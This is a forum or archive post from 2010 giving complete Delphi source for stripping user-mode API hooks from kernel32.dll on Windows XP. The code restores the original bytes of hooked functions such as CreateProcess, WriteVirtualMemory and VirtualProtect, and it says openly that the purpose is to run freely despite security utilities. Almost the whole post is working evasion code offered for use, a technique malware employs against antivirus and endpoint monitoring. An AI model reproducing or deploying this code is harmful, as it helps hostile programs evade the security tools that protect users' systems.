We don't display ads so we rely on your Bitcoin donations to 1KWEk9QaiJb2NwP5YFmR24LyUBa4JyuKqZ
Post date: Sep 2, 2010 12:21:22 AM
This example details how to remove hooks on usermode apis to ensure the free-running of your application in the presence of lowgrade security utilities.
Coder: Aphex
Operating System: Windows XP
Compiled: Delphi 2007
unit UsermodeUnhook;interfaceuses Windows,procedure RemoveUserHooks;type TSections = array [0..0] of TImageSectionHeader; TStringArray = array [0..1024] of string;implementation//USER MODE UNHOOKINGfunction UnhookExport(hModule: HMODULE; FunctionName: pchar): boolean;type TSections = array [0..0] of TImageSectionHeader;var ModuleName: pchar; ImageBase, LoadedImage, pImageBase, pSectionBase: pointer; Module: THandle; ModuleSize, BytesRead: dword; ImageDosHeader: PImageDosHeader; ImageNtHeaders: PImageNtHeaders; ImageExportDirectory: PImageExportDirectory; ExportLoop: integer; ExportName: pchar; ExportFunction: pointer; PNames: pdword; PFunctions: pdword; PSections: ^TSections; SectionLoop: integer; SectionBase: pointer; VirtualSectionSize, RawSectionSize: dword; LoadedAddress: pbyte; ExportedAddress: pbyte; OldProtection: dword; CodeLen: dword;begin Result := False; GetMem(ModuleName, MAX_PATH + 1); GetModuleFileName(hModule, ModuleName, MAX_PATH + 1); ExportedAddress := nil; LoadedAddress := nil; Module := CreateFile(ModuleName, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0); SetFilePointer(Module, 0, nil, FILE_BEGIN); ModuleSize := GetFileSize(Module, nil); GetMem(LoadedImage, ModuleSize); ReadFile(Module, LoadedImage^, ModuleSize, BytesRead, nil); CloseHandle(Module); ImageDosHeader := PImageDosHeader(LoadedImage); ImageNtHeaders := PImageNtHeaders(cardinal(ImageDosHeader._lfanew) + cardinal(LoadedImage)); ImageBase := VirtualAlloc(nil, ImageNtHeaders.OptionalHeader.SizeOfImage, MEM_RESERVE, PAGE_NOACCESS); pImageBase := ImageBase; SectionBase := VirtualAlloc(ImageBase, ImageNtHeaders.OptionalHeader.SizeOfHeaders, MEM_COMMIT, PAGE_READWRITE); pSectionBase := SectionBase; Move(LoadedImage^, SectionBase^, ImageNtHeaders.OptionalHeader.SizeOfHeaders); PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader); for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do begin VirtualSectionSize := PSections[SectionLoop].Misc.VirtualSize; RawSectionSize := PSections[SectionLoop].SizeOfRawData; if VirtualSectionSize < RawSectionSize then VirtualSectionSize := RawSectionSize; SectionBase := VirtualAlloc(PSections[SectionLoop].VirtualAddress + pchar(ImageBase), VirtualSectionSize, MEM_COMMIT, PAGE_READWRITE); FillChar(SectionBase^, VirtualSectionSize, 0); Move(pointer(cardinal(LoadedImage) + PSections[SectionLoop].PointerToRawData)^, SectionBase^, RawSectionSize); VirtualFree(SectionBase, 0, MEM_RELEASE); end; ImageExportDirectory := PImageExportDirectory(ImageNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + cardinal(ImageBase)); PNames := pointer(cardinal(ImageExportDirectory.AddressOfNames) + cardinal(ImageBase)); PFunctions := pointer(cardinal(ImageExportDirectory.AddressOfFunctions) + cardinal(ImageBase)); for ExportLoop := 0 to ImageExportDirectory.NumberOfNames - 1 do begin ExportName := pchar(pdword(PNames)^ + cardinal(ImageBase)); ExportFunction := pointer(pdword(PFunctions)^ + cardinal(ImageBase)); if lstrcmpi(ExportName, FunctionName) = 0 then begin LoadedAddress := ExportFunction; Break; end; Inc(PNames); Inc(PFunctions); end; ImageBase := pointer(GetModuleHandle(ModuleName)); ImageDosHeader := PImageDosHeader(ImageBase); ImageNtHeaders := PImageNtHeaders(cardinal(ImageDosHeader._lfanew) + cardinal(ImageBase)); ImageExportDirectory := PImageExportDirectory(ImageNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + cardinal(ImageBase)); PNames := pointer(cardinal(ImageExportDirectory.AddressOfNames) + cardinal(ImageBase)); PFunctions := pointer(cardinal(ImageExportDirectory.AddressOfFunctions) + cardinal(ImageBase)); for ExportLoop := 0 to ImageExportDirectory.NumberOfNames - 1 do begin ExportName := pchar(pdword(PNames)^ + cardinal(ImageBase)); ExportFunction := pointer(pdword(PFunctions)^ + cardinal(ImageBase)); if lstrcmpi(ExportName, FunctionName) = 0 then begin ExportedAddress := ExportFunction; Break; end; Inc(PNames); Inc(PFunctions); end; if ((LoadedAddress <> nil) and (ExportedAddress <> nil)) then begin if ((ExportedAddress^ <> 0) and (LoadedAddress^ <> 0) and (ExportedAddress^ <> LoadedAddress^)) then begin Result := True; // WriteLn('Unhooking ', FunctionName, '...');// readln; CodeLen := SizeOfProc(LoadedAddress); if (FunctionName='OpenFile') or (FunctionName='CreateFile')or (FunctionName='CreateProcess')or (FunctionName='CreateProcessEx')or (FunctionName='DeleteFile')or (FunctionName='FreeVirtualMemory')or (FunctionName='WriteVirtualMemory')or (FunctionName='SetInformationProcess')or (FunctionName='GetProcedureAddress')or (FunctionName='CreateProcessW')or (FunctionName='CreateProcessA')or (FunctionName='CopyFileW')or (FunctionName='VirtualProtect')or (FunctionName='GetProcAddress')or (FunctionName='GetModuleHandleW')or (FunctionName='----------LoadLibraryA')or (FunctionName='----------LoadLibraryW')or (FunctionName='GetModuleHandleW')or (FunctionName='CreateFileA')or (FunctionName='WinExec')or (FunctionName='OpenServiceW')or (FunctionName='OpenServiceA')or (FunctionName='ShellExecureW')or (FunctionName='ShellExecureExW')or (FunctionName='ShellExecureEx')or (FunctionName='ShellExecureA')or (FunctionName='AllocateVirtualMemory') then begin WriteLn('Unhooking ', FunctionName, '...'); VirtualProtect(ExportedAddress, CodeLen, PAGE_EXECUTE_READWRITE, @OldProtection); CopyMemory(ExportedAddress, LoadedAddress, CodeLen); VirtualProtect(ExportedAddress, CodeLen, OldProtection, @OldProtection); end; end; end; FreeMem(ModuleName); FreeMem(LoadedImage); VirtualFree(pImageBase, 0, MEM_RELEASE); VirtualFree(pSectionBase, 0, MEM_RELEASE);end;function CheckExports(ImageBase: pointer; ImageExportDirectory: PImageExportDirectory): boolean;var ExportLoop: integer; ExportName: pchar; PNames: pdword; HooksFound: boolean;begin Result := False; PNames := pointer(cardinal(ImageExportDirectory.AddressOfNames) + cardinal(ImageBase)); for ExportLoop := 0 to ImageExportDirectory.NumberOfNames - 1 do begin ExportName := pchar(pdword(PNames)^ + cardinal(ImageBase)); HooksFound := UnhookExport(HMODULE(ImageBase), ExportName); if HooksFound = True then Result := True; Inc(PNames); end;end;procedure RemoveUserHooks;var ImageBase: pointer; ImageDosHeader: PImageDosHeader; ImageNtHeaders: PImageNtHeaders; ImageExportDirectory: PImageExportDirectory;begin ImageBase := pointer(GetModuleHandle('kernel32.dll')); ImageDosHeader := PImageDosHeader(ImageBase); ImageNtHeaders := PImageNtHeaders(cardinal(ImageDosHeader._lfanew) + cardinal(ImageBase)); ImageExportDirectory := PImageExportDirectory(ImageNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + cardinal(ImageBase)); if ImageExportDirectory <> ImageBase then begin if ImageExportDirectory.NumberOfNames <> 0 then begin if not CheckExports(ImageBase, ImageExportDirectory) then WriteLn('No user mode hooks found!'); end; end;end;end.Only Delphi source code is included in the archive.